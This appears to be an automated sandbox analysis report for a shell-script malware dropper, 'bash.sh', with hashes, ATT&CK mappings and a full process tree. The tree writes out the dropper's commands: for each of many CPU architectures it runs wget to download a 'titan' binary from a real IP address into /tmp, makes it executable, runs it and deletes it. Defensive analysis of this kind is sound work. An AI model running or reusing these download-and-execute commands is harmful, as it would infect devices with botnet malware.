6628f3a2559eb6bcc0da58951c4a830544d97dff975fb5fbc48267e6322f0143

Analysis

max time kernel
11s
max time network
14s
platform
debian-9_mips
resource
debian9-mipsbe-20260513-en
resource tags

arch:mipsimage:debian9-mipsbe-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
07/09/2026, 05:16

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
bash.sh
Size 728B
Sample260907-fx973sxvbx
SHA256 6628f3a2559eb6bcc0da58951c4a830544d97dff975fb5fbc48267e6322f0143
MD5 587e2a1f6ec5630faeb051154d4d3b7a
SHA1 462652b054c9e720ff94e652fd51fd751cff1966
SHA512 3465ef48a211b94436cb9859da071eb28f631a584d137a254827f84a6d8ef62f5c6e5b9c6077a5595e4ee2d6b489aa51f5112d932cf73f1bc04c235e0611ef49
TLSH
T11C0147C2F4390A71325D8028ED8B4B44178625238200267EF84E6C343F3862EB69BF16
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 13 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
750	chmod
755	chmod
760	chmod
771	chmod
776	chmod
781	chmod
799	chmod
717	chmod
730	chmod
739	chmod
766	chmod
788	chmod
745	chmod

Executes dropped EXE 13 IoCs

ioc	pid	Process
/tmp/titan	719	bash.sh
/tmp/titan	731	bash.sh
/tmp/titan	740	bash.sh
/tmp/titan	746	bash.sh
/tmp/titan	751	bash.sh
/tmp/titan	756	bash.sh
/tmp/titan	761	bash.sh
/tmp/titan	767	bash.sh
/tmp/titan	772	bash.sh
/tmp/titan	777	bash.sh
/tmp/titan	782	bash.sh
/tmp/titan	789	bash.sh
/tmp/titan	801	bash.sh

Reads runtime system information 2 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/self/exe	titan
File opened for reading	/proc/1/mounts	titan

System Network Configuration Discovery 1 TTPs 2 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
759	wget
765	wget

Writes file to tmp directory 13 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/titan	wget
File opened for modification	/tmp/titan	wget
File opened for modification	/tmp/titan	wget
File opened for modification	/tmp/titan	wget
File opened for modification	/tmp/titan	wget
File opened for modification	/tmp/titan	wget
File opened for modification	/tmp/titan	wget
File opened for modification	/tmp/titan	wget
File opened for modification	/tmp/titan	wget
File opened for modification	/tmp/titan	wget
File opened for modification	/tmp/titan	wget
File opened for modification	/tmp/titan	wget
File opened for modification	/tmp/titan	wget

/tmp/bash.sh
/tmp/bash.sh
1⤵
- Executes dropped EXE
PID:702
- /usr/bin/wget
  wget -T 10 -O /tmp/titan http://94.154.43.60:8081/titan.arm4l
  2⤵
  - Writes file to tmp directory
  PID:704
- /bin/chmod
  chmod +x /tmp/titan
  2⤵
  - File and Directory Permissions Modification
  PID:717
- /tmp/titan
  /tmp/titan
  2⤵
  PID:719
- /bin/rm
  rm -f /tmp/titan
  2⤵
  PID:723
- /usr/bin/wget
  wget -T 10 -O /tmp/titan http://94.154.43.60:8081/titan.arm4tl
  2⤵
  - Writes file to tmp directory
  PID:725
- /bin/chmod
  chmod +x /tmp/titan
  2⤵
  - File and Directory Permissions Modification
  PID:730
- /tmp/titan
  /tmp/titan
  2⤵
  PID:731
- /bin/rm
  rm -f /tmp/titan
  2⤵
  PID:734
- /usr/bin/wget
  wget -T 10 -O /tmp/titan http://94.154.43.60:8081/titan.arm5
  2⤵
  - Writes file to tmp directory
  PID:735
- /bin/chmod
  chmod +x /tmp/titan
  2⤵
  - File and Directory Permissions Modification
  PID:739
- /tmp/titan
  /tmp/titan
  2⤵
  PID:740
- /bin/rm
  rm -f /tmp/titan
  2⤵
  PID:742
- /usr/bin/wget
  wget -T 10 -O /tmp/titan http://94.154.43.60:8081/titan.arm6
  2⤵
  - Writes file to tmp directory
  PID:743
- /bin/chmod
  chmod +x /tmp/titan
  2⤵
  - File and Directory Permissions Modification
  PID:745
- /tmp/titan
  /tmp/titan
  2⤵
  PID:746
- /bin/rm
  rm -f /tmp/titan
  2⤵
  PID:748
- /usr/bin/wget
  wget -T 10 -O /tmp/titan http://94.154.43.60:8081/titan.arm7
  2⤵
  - Writes file to tmp directory
  PID:749
- /bin/chmod
  chmod +x /tmp/titan
  2⤵
  - File and Directory Permissions Modification
  PID:750
- /tmp/titan
  /tmp/titan
  2⤵
  PID:751
- /bin/rm
  rm -f /tmp/titan
  2⤵
  PID:753
- /usr/bin/wget
  wget -T 10 -O /tmp/titan http://94.154.43.60:8081/titan.m68k
  2⤵
  - Writes file to tmp directory
  PID:754
- /bin/chmod
  chmod +x /tmp/titan
  2⤵
  - File and Directory Permissions Modification
  PID:755
- /tmp/titan
  /tmp/titan
  2⤵
  PID:756
- /bin/rm
  rm -f /tmp/titan
  2⤵
  PID:758
- /usr/bin/wget
  wget -T 10 -O /tmp/titan http://94.154.43.60:8081/titan.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:759
- /bin/chmod
  chmod +x /tmp/titan
  2⤵
  - File and Directory Permissions Modification
  PID:760
- /tmp/titan
  /tmp/titan
  2⤵
  - Reads runtime system information
  PID:761
- /bin/rm
  rm -f /tmp/titan
  2⤵
  PID:764
- /usr/bin/wget
  wget -T 10 -O /tmp/titan http://94.154.43.60:8081/titan.mipsel
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:765
- /bin/chmod
  chmod +x /tmp/titan
  2⤵
  - File and Directory Permissions Modification
  PID:766
- /tmp/titan
  /tmp/titan
  2⤵
  PID:767
- /bin/rm
  rm -f /tmp/titan
  2⤵
  PID:769
- /usr/bin/wget
  wget -T 10 -O /tmp/titan http://94.154.43.60:8081/titan.ppc
  2⤵
  - Writes file to tmp directory
  PID:770
- /bin/chmod
  chmod +x /tmp/titan
  2⤵
  - File and Directory Permissions Modification
  PID:771
- /tmp/titan
  /tmp/titan
  2⤵
  PID:772
- /bin/rm
  rm -f /tmp/titan
  2⤵
  PID:774
- /usr/bin/wget
  wget -T 10 -O /tmp/titan http://94.154.43.60:8081/titan.ppc440
  2⤵
  - Writes file to tmp directory
  PID:775
- /bin/chmod
  chmod +x /tmp/titan
  2⤵
  - File and Directory Permissions Modification
  PID:776
- /tmp/titan
  /tmp/titan
  2⤵
  PID:777
- /bin/rm
  rm -f /tmp/titan
  2⤵
  PID:779
- /usr/bin/wget
  wget -T 10 -O /tmp/titan http://94.154.43.60:8081/titan.sh4
  2⤵
  - Writes file to tmp directory
  PID:780
- /bin/chmod
  chmod +x /tmp/titan
  2⤵
  - File and Directory Permissions Modification
  PID:781
- /tmp/titan
  /tmp/titan
  2⤵
  PID:782
- /bin/rm
  rm -f /tmp/titan
  2⤵
  PID:784
- /usr/bin/wget
  wget -T 10 -O /tmp/titan http://94.154.43.60:8081/titan.x32
  2⤵
  - Writes file to tmp directory
  PID:785
- /bin/chmod
  chmod +x /tmp/titan
  2⤵
  - File and Directory Permissions Modification
  PID:788
- /tmp/titan
  /tmp/titan
  2⤵
  PID:789
- /bin/rm
  rm -f /tmp/titan
  2⤵
  PID:792
- /usr/bin/wget
  wget -T 10 -O /tmp/titan http://94.154.43.60:8081/titan.x64-test
  2⤵
  - Writes file to tmp directory
  PID:793
- /bin/chmod
  chmod +x /tmp/titan
  2⤵
  - File and Directory Permissions Modification
  PID:799
- /tmp/titan
  /tmp/titan
  2⤵
  PID:801
- /bin/rm
  rm -f /tmp/titan
  2⤵
  PID:803

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

titan

Path /tmp/titan
Size 189KB
SHA256 58a0dae120762d6cfb86b8a5a68f1d11bd7743129f7c2042f67d788c0d8cdb8e
MD5 7fca72535b4858eb9802603cb083bce9
SHA1 f8d9296dc0ba59a09edaf7c1fa7ae220ebe3eeea
SHA512 aba4046a93135e00592061604156671dc62ca7acafa9139c01bdc72b7f95d3ac02ef234b17002e1489632a5fd5500dd013885f043e3f49ab5916f49275740c52
SSDEEP 3072:kJ5DZ3Ye2F2qemXZ9BCu5MCF9cpYZzkNNa173e2tRbnZHj90+c6njmjkXwY8AEwE:o5dM5ZXZ9BCuCi9cxelBHjuPaX8lwzUn
TLSH
T1F814085AF8418E51F5D016F9FB8D82D83F1303EBD2FA34069D195BB427D789B0E2A942
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

titan

Path /tmp/titan
Size 181KB
SHA256 e194e7ea92f41bd92425eb13bfd1b4c21c453e64eabf0c1927142772ff6fb54b
MD5 39c5c1c2312986d4ec06921e2a7f1174
SHA1 b2a6fb55c82b705c3069c3bc0cab1e4b963d7b7b
SHA512 ba1acf287c5c05d79cf32d037ea36c2138ee487602cde2b47efebe95a990dccb7d80c1e7b19cd632de61b5280b8c41bf248613f88a1b5c3c0ae4a2d663f08b4c
SSDEEP 3072:xzGSpqsLIoHxhKQMKQzFpDmmCPUPHeQdbIKJRaUKUmc5U6g8F8SiwzUq0:xzGSpqsLISzKQMKQzFMYTFKUTnp8lwzy
TLSH
T13404194AF9428E51F58012FAFB5D82D83F1303FBD2FA75029D195BB42B9745A0E3B942
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

titan

Path /tmp/titan
Size 181KB
SHA256 9e76638abff0771722e96a36d325cc0d79415afa78c94e3574bdc56823676a50
MD5 7b6a3b27a4a7510e5de91d318ff9012e
SHA1 051880cf4a12f55681584b7810cbb481446da4d7
SHA512 df79a73ce78930a746de788df508f62bdc7f0b51c328f7c8b27f4e21eb72550a1c587bf6294beb395bbd3adaa0d8b887c5db6ef7a025056c3ad2d7cad268dd9c
SSDEEP 3072:E1mk7cyhjTrilnL+P1zpDcrCLUC/hydbLZTR/2G2ExxUDiH88SFpwjUqS:E1mk7cyhzilnL+P1z3ZCsG2wOT88wjUD
TLSH
T14704094AF842CE51F58012FABB5D83D83F1313FBC2FA75029D195BB42B9755A0E3A942
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

titan

Path /tmp/titan
Size 980KB
SHA256 3687e8724df7a00d1a69c1138738f556cd0ca5dfd3b9eaf2626ee758e4709c96
MD5 1c3fd1acdacd806fff0a45fc98eed5a2
SHA1 435e5cefff2d35eff1f9e263aa9eee390764ef38
SHA512 3bd265374eb0d4b54a9d998646096bf9d696dab86e6e2f12d56a07bda491435c2c82e718865761c63028ff1b1899d9a3b9be98730d3a1ab3ecb87d0ac1eef8fa
SSDEEP 24576:zvgO46K65fNFPMhpWkX1fpqglHHIyKcF8F1O:zX46K65lIpDXtHoyKce
TLSH
T1D7255C4AB2F374FCC257C43087ABDA62BD35B46502126E7BA5C4D6302E26E701B19F76
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads